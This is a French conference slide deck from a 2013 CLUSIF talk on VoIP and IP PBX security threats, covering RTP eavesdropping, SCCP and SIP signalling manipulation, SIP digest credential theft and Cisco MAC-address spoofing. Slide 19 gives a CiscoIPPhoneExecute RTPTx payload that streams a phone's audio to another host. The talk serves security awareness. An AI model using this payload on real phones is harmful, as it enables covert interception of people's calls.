Les

 *menaces  en  image*

Joffrey  CZARNY  -­‐  EADS  IW

CLUSIF  >  PABX  IP  et  la  sécurité 25  Avril  2013

dimanche 19 mai 13
 Les  menaces  abordées  aujourd’hui
• Ecoute  des  communica>ons  téléphoniques
• Manipula>on  des  flux  de  signalisa>on
vSCCP  (redirecFon  d’appels)
vSIP  (vol  d’idenFfiant)
• Ecoute  des  échanges  téléphoniques  externes
• Vol  d’iden>té  via  le  vol  d’iden>fiant  de  
connexion  SIP  ou  via  l’usurpa>on  d’adresse  
MAC  
• Abus  des  fonc>onnalités  d’un  téléphone  IP  
2
dimanche 19 mai 13
 Ecoute  des  communica>ons  téléphoniques
• Les  Flux  voix  (RTP)  non  chiffrés  permeTent  de  faire  de  
l’écoute.  

3
dimanche 19 mai 13
 Ecoute  des  communica>ons  téléphoniques
• Les  Flux  voix  (RTP)  non  chiffrés  permeTent  de  faire  de  
l’écoute.  

3
dimanche 19 mai 13
 Ecoute  des  communica>ons  téléphoniques
• Les  Flux  voix  (RTP)  non  chiffrés  permeTent  de  faire  de  
l’écoute.  

3
dimanche 19 mai 13
 Ecoute  des  communica>ons  téléphoniques
• Les  Flux  voix  (RTP)  non  chiffrés  permeTent  de  faire  de  
l’écoute.  

3
dimanche 19 mai 13
 ManipulaFon  des  flux  de  signalisaFon

5
dimanche 19 mai 13
 manipulaFon  des  flux  de  signalisaFon

¡ Python  Skinny  class    from  Scapy

¡ #  Station  -­‐>  Callmanager
¡    0x0000:  "SkinnyMessageKeepAlive",
¡    0x0001:  "SkinnyMessageRegister",
¡    0x0002:  "SkinnyMessageIpPort",
¡    0x0003:  "SkinnyMessageKeypadButton",
¡    0x0004:  "SkinnyMessageEnblocCall",
¡    0x0005:  "SkinnyMessageStimulus",
¡    0x0006:  "SkinnyMessageOffHook",
¡    0x0007:  "SkinnyMessageOnHook",
¡    0x0008:  "SkinnyMessageHookFlash",
¡    0x0009:  "SkinnyMessageForwardStatReq",
¡    0x000A:  "SkinnyMessageSpeedDialStatReq",
¡    0x000B:  "SkinnyMessageLineStatReq",
¡    0x000C:  "SkinnyMessageConfigStatReq",
¡    0x000D:  "SkinnyMessageTimeDateReq",
¡    0x000E:  "SkinnyMessageButtonTemplateReq",
¡    0x000F:  "SkinnyMessageVersionReq",
¡    0x0010:  "SkinnyMessageCapabilitiesRes",
¡    0x0011:  "SkinnyMessageMediaPortList",
¡    0x0012:  "SkinnyMessageServerReq“,    

5
dimanche 19 mai 13
 manipulaFon  des  flux  de  signalisaFon

CLUSIF  >  Conférence  >  Lieu Date 5

dimanche 19 mai 13
 • Manipula>on  des  flux  de  signalisa>on:  vol  
d’iden>fiant  de  connexion  SIP  

INVITE

200 OK

7
dimanche 19 mai 13
 • Manipula>on  des  flux  de  signalisa>on:  vol  
d’iden>fiant  de  connexion  SIP  

BYE

200 OK

8
dimanche 19 mai 13
 • Manipula>on  des  flux  de  signalisa>on:  vol  
d’iden>fiant  de  connexion  SIP  

BYE

407
Challenge

9
dimanche 19 mai 13
 • Manipula>on  des  flux  de  signalisa>on:  vol  
d’iden>fiant  de  connexion  SIP  

10
dimanche 19 mai 13
 • Manipula>on  des  flux  de  signalisa>on:  vol  
d’iden>fiant  de  connexion  SIP  
• HA1  =  MD5(username:realm:password)
• HA2  =  MD5(method:digestURI)
• response  =  MD5(HA1:nonce:HA2)
>>> username='100'
>>> realm='asterisk'
>>> password='test'
>>> method='REGISTER'
>>> uri='sip:10.100.100.127'

11
dimanche 19 mai 13
 • Ecoute  des  échanges  téléphoniques  externes  

• Les  passerelles  VoIP  ne  sont  pas  de  simple  

routeur
• Les  flux  de  signalisa>on  et  voix  ne  sont  
quasiment  jamais  chiffrés  par  rapport  au  flux  
interne  à  l’éco  système  VoIP.
• Les  protocoles  de  signalisa>on  sur  les  
passerelles  VoIP  n’u>lisent  pas  d’iden>fiants

12
dimanche 19 mai 13
 • Ecoute  des  échanges  téléphoniques  externe  

13
dimanche 19 mai 13
 • Ecoute  des  échanges  téléphoniques  externe  

14
dimanche 19 mai 13
 • Ecoute  des  échanges  téléphoniques  externe  

15
dimanche 19 mai 13
 • Vol  d’iden>té  via  le  vol  d’iden>fiant  de  
connexion  SIP  ou  via  l’usurpa>on  d’adresse  MAC  
Les téléphones VoIP
Cisco utilisent la
MAC@ comme
identifiant. Avec un
émulateur de téléphone
VoIP Cisco, il est
possible d’usurper
l’identité d’une
personne au sein de
l’éco système VoIP.

16
dimanche 19 mai 13
 • Vol  d’iden>té  via  le  vol  d’iden>fiant  de  
connexion  SIP  ou  via  l’usurpa>on  d’adresse  MAC  

17
dimanche 19 mai 13
 • Vol  d’iden>té  via  le  vol  d’iden>fiant  de  
connexion  SIP  ou  via  l’usurpa>on  d’adresse  MAC  

18
dimanche 19 mai 13
 • Vol  d’iden>té  via  le  vol  d’iden>fiant  de  
connexion  SIP  ou  via  l’usurpa>on  d’adresse  MAC  

18
dimanche 19 mai 13
 Abus  des  fonc>onnalités  d’un  téléphone  IP
• Prise  de  contrôle  du  téléphone  à  distance  via  
Extension  Mobility

• Mise  en  écoute  d’un  téléphone  via  les  

commandes  URI:  RTP[R/T]x  
• <CiscoIPPhoneExecute><ExecuteItemPriority=\"0\"URL=\"".RTPTx:10.100.100.250:32000."\"/></CiscoIPPhoneExecute>

19
dimanche 19 mai 13
 Abus  des  fonc>onnalités  d’un  téléphone  IP
• Prise  de  contrôle  du  téléphone  à  distance  via  
Extension  Mobility

• Mise  en  écoute  d’un  téléphone  via  les  

commandes  URI:  RTP[R/T]x  
• <CiscoIPPhoneExecute><ExecuteItemPriority=\"0\"URL=\"".RTPTx:10.100.100.250:32000."\"/></CiscoIPPhoneExecute>

19
dimanche 19 mai 13
 Abus  des  fonc>onnalités  d’un  téléphone  IP
• Prise  de  contrôle  du  téléphone  à  distance  via  
Extension  Mobility

• Mise  en  écoute  d’un  téléphone  via  les  

commandes  URI:  RTP[R/T]x  
• <CiscoIPPhoneExecute><ExecuteItemPriority=\"0\"URL=\"".RTPTx:10.100.100.250:32000."\"/></CiscoIPPhoneExecute>

19
dimanche 19 mai 13
 Abus  des  fonc>onnalités  d’un  téléphone  IP
• Prise  de  contrôle  du  téléphone  à  distance  via  
Extension  Mobility

• Mise  en  écoute  d’un  téléphone  via  les  

commandes  URI:  RTP[R/T]x  
• <CiscoIPPhoneExecute><ExecuteItemPriority=\"0\"URL=\"".RTPTx:10.100.100.250:32000."\"/></CiscoIPPhoneExecute>

19
dimanche 19 mai 13
 20
dimanche 19 mai 13
 20
dimanche 19 mai 13
 QuesFons  /  Responses
• Allo  ??  
• Quoi  t’as  pas  sécurisé  ton  infra  VoIP  ??  
• Allo  ??

21
dimanche 19 mai 13